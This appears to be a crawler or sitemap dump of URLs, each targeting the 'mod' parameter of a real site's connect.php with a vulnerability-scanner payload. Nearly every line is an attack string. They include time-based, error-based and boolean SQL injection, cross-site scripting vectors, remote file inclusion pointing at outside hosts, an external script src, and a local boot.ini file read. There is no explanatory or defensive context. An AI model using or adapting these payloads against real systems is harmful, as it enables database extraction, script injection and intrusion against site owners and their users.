http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=dir 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%00' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(21=91)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%200x6C6F67696E%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22%20AND%20%22CG%22=%22eM 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%22)%20AND%2042=32%20AND%20(%22MD%22=%22MD 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25%22%29%20AND%2026%3D53%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25%27%29%20AND%2038%3D18%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25%27%29%20AND%2043%3D43%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25%27%29%20AND%2056%3D56%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25%27%29%20AND%2082%3D19%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%2012=12%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%2054=54%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%2069=19%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%2079=87%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0002 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=36)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=43)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%25';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%2527 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%2527%20AND%2026=26%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%2527%20AND%2046=13%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3CBASE%20HREF=%22javascript:alert(42873);//%22%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3CEMBED%20SRC=javascript:alert(42873)%3E%3C/EMBED%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Ca%20href%3D%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2350%26%2351%26%2352%26%2353%26%2341%3ETEST%3C/a%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cbody%20ONLOAD=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cdiv%20style=width:expression(alert(42873))%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Ciframe%20SRC=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Ciframe%20src=http://xxooxxoo.js%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cimg%20src=1%20onerror=alert(42873)%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cobject%20data=data:text/html;base64,PHNjcmlwdD5hbGVydCg0Mjg3Myk8L3NjcmlwdD4=%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cscript%20src=http://xxooxxoo.js%3E%3C/script%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%3Cscript%3Ealert(42873)%3C/script%3E 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%5B%5D 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%5C%22 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%5C' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%a8%a4%00xa7%a8%a4%a1%e9 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login%bf%27 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login' 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'13'%20LIKE%20'13 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'Ci'='Ci 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'PV'%20LIKE%20'ig 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'Pg'='YT 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'tK'='tK 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20'w6'='C6 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%20'Sk'='Sk'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%20'vD'='dl 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/connect.php?op=init&referer=index.php&statfrom=login_simple&mod=login'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 